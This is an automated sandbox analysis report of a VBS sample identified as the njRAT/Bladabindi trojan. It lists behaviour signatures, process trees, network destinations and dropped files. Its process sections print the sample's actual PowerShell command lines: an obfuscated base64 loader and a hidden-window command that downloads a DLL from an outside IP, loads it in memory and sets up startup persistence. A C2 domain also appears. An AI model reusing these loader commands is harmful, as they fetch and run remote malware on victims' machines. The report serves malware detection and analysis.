Malware Analysis Report

2025-06-16 06:50

Sample ID 220811-wlhaxscga9
Target 6e4b16840770fe3b078206831254d138.vbs
SHA256 7d725947a2cc12a85a532d67444856f521749057a8263a10880634642c2276eb
Tags
njrat nyan cat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

7d725947a2cc12a85a532d67444856f521749057a8263a10880634642c2276eb

Threat Level: Known bad

The file 6e4b16840770fe3b078206831254d138.vbs was found to be: Known bad.

Malicious Activity Summary

njrat nyan cat trojan

njRAT/Bladabindi

Blocklisted process makes network request

Checks computer location settings

Drops startup file

Suspicious use of SetThreadContext

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-08-11 18:00

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2022-08-11 18:00

Reported

2022-08-11 18:03

Platform

win10v2004-20220722-en

Max time kernel

152s

Max time network

155s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6e4b16840770fe3b078206831254d138.vbs"

Signatures

njRAT/Bladabindi

trojan njrat

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yu7y6%$!#$%&\()=.vbs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4064 set thread context of 1208 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: 33 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4372 wrote to memory of 2300 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4372 wrote to memory of 2300 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2300 wrote to memory of 4064 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2300 wrote to memory of 4064 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4064 wrote to memory of 1208 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4064 wrote to memory of 1208 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4064 wrote to memory of 1208 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4064 wrote to memory of 1208 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4064 wrote to memory of 1208 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4064 wrote to memory of 1208 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4064 wrote to memory of 1208 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 4064 wrote to memory of 1208 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6e4b16840770fe3b078206831254d138.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEsASQB0AE8ATwBQAF⌚⌚⌚AaQBTAE8AVQBsAFEARABqAHYAWABBAE8AZwAlACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsA⌚⌚⌚wB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AOQAxAC4AMgA0ADEALgAxADkALgA0ADkALwBBAFIAVABTAC8AZABsAGwAZgAzAHQAeAB0ACcAKQApADsAWwBTAHkAcwB0AG⌚⌚⌚AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAeABLAHYASwBrAH⌚⌚⌚ATgBaAC4AVQBHAGwAeQBtAHoAVQBnACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBVAEQAcwBTAGkARABiAGIAJwApAC4ASQBuAHYAbwBrAG⌚⌚⌚AKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgAxAFgAWgAvAHcAZQBuAC8AdABzAG⌚⌚⌚AdAAvADkANAAuADkAMQAuADEANAAyAC4AMQA5AC8ALwA6AHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnAC8AeQB1ADcAeQA2AC⌚⌚⌚AJAAhACIAIwAkAC⌚⌚⌚AJgAvACgAKQA9ACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('%KItOOPUiSOUlQDjvXAOg%', 'C:\Users\Admin\AppData\Local\Temp\6e4b16840770fe3b078206831254d138.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\6e4b16840770fe3b078206831254d138.vbs';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/ARTS/dllf3txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('txt.1XZ/wen/tset/94.91.142.19//:ptth' , $RodaCopy , '/yu7y6%$!"#$%&/()=' ))"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

Network

Country Destination Domain Proto
US 93.184.220.29:80 tcp
RU 91.241.19.49:80 91.241.19.49 tcp
IE 20.50.73.10:443 tcp
US 8.8.8.8:53 wibnj.duckdns.org udp
CO 179.14.8.103:57831 wibnj.duckdns.org tcp

Files

memory/2300-132-0x0000000000000000-mapping.dmp

memory/2300-133-0x0000013FFA840000-0x0000013FFA862000-memory.dmp

memory/2300-134-0x00007FFF7E460000-0x00007FFF7EF21000-memory.dmp

memory/4064-135-0x0000000000000000-mapping.dmp

memory/4064-136-0x00007FFF7E460000-0x00007FFF7EF21000-memory.dmp

memory/1208-137-0x0000000000400000-0x000000000040C000-memory.dmp

memory/1208-138-0x000000000040675E-mapping.dmp

memory/4064-139-0x00007FFF7E460000-0x00007FFF7EF21000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

memory/2300-142-0x00007FFF7E460000-0x00007FFF7EF21000-memory.dmp

memory/1208-143-0x0000000005430000-0x00000000054CC000-memory.dmp

memory/1208-144-0x0000000005A80000-0x0000000006024000-memory.dmp

memory/1208-145-0x00000000055C0000-0x0000000005652000-memory.dmp

memory/1208-146-0x0000000005590000-0x000000000559A000-memory.dmp

memory/1208-147-0x00000000057D0000-0x0000000005836000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2022-08-11 18:00

Reported

2022-08-11 18:03

Platform

win7-20220718-en

Max time kernel

43s

Max time network

46s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6e4b16840770fe3b078206831254d138.vbs"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6e4b16840770fe3b078206831254d138.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEsASQB0AE8ATwBQAF⌚⌚⌚AaQBTAE8AVQBsAFEARABqAHYAWABBAE8AZwAlACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsA⌚⌚⌚wB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AOQAxAC4AMgA0ADEALgAxADkALgA0ADkALwBBAFIAVABTAC8AZABsAGwAZgAzAHQAeAB0ACcAKQApADsAWwBTAHkAcwB0AG⌚⌚⌚AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAeABLAHYASwBrAH⌚⌚⌚ATgBaAC4AVQBHAGwAeQBtAHoAVQBnACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBVAEQAcwBTAGkARABiAGIAJwApAC4ASQBuAHYAbwBrAG⌚⌚⌚AKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgAxAFgAWgAvAHcAZQBuAC8AdABzAG⌚⌚⌚AdAAvADkANAAuADkAMQAuADEANAAyAC4AMQA5AC8ALwA6AHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnAC8AeQB1ADcAeQA2AC⌚⌚⌚AJAAhACIAIwAkAC⌚⌚⌚AJgAvACgAKQA9ACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('%KItOOPUiSOUlQDjvXAOg%', 'C:\Users\Admin\AppData\Local\Temp\6e4b16840770fe3b078206831254d138.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\6e4b16840770fe3b078206831254d138.vbs';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/ARTS/dllf3txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('txt.1XZ/wen/tset/94.91.142.19//:ptth' , $RodaCopy , '/yu7y6%$!"#$%&/()=' ))"

Network

Country Destination Domain Proto
RU 91.241.19.49:80 91.241.19.49 tcp

Files

memory/1804-54-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp

memory/1576-55-0x0000000000000000-mapping.dmp

memory/1576-57-0x000007FEF4AE0000-0x000007FEF5503000-memory.dmp

memory/1576-58-0x000007FEF3F80000-0x000007FEF4ADD000-memory.dmp

memory/1576-59-0x0000000002994000-0x0000000002997000-memory.dmp

memory/1576-60-0x000000001B7A0000-0x000000001BA9F000-memory.dmp

memory/624-61-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 138491953f88fa84ce487a0103bea8dd
SHA1 4b03d629d82b102099decb7704ac8d38575b3d7a
SHA256 75eb0b1be5bce202000050b78f88d6ea79f302237d64d06c82cbe2e6b57794f3
SHA512 d01db0d9342ff66eae314e7866a68d318d8e541b7ee9e3dbfa49bd734bc98b134fa9584a2d76ca92c11c52e01c12d5ea19c4fa9bbe3f01ee5a702c5c3d99a85c

memory/624-64-0x000007FEF4AE0000-0x000007FEF5503000-memory.dmp

memory/624-65-0x000007FEF3F80000-0x000007FEF4ADD000-memory.dmp

memory/1576-66-0x000000000299B000-0x00000000029BA000-memory.dmp

memory/624-67-0x0000000002644000-0x0000000002647000-memory.dmp

memory/624-68-0x000000001B720000-0x000000001BA1F000-memory.dmp

memory/624-69-0x000000000264B000-0x000000000266A000-memory.dmp

memory/624-70-0x0000000002644000-0x0000000002647000-memory.dmp

memory/624-71-0x000000000264B000-0x000000000266A000-memory.dmp

memory/1576-72-0x0000000002994000-0x0000000002997000-memory.dmp

memory/1576-73-0x000000000299B000-0x00000000029BA000-memory.dmp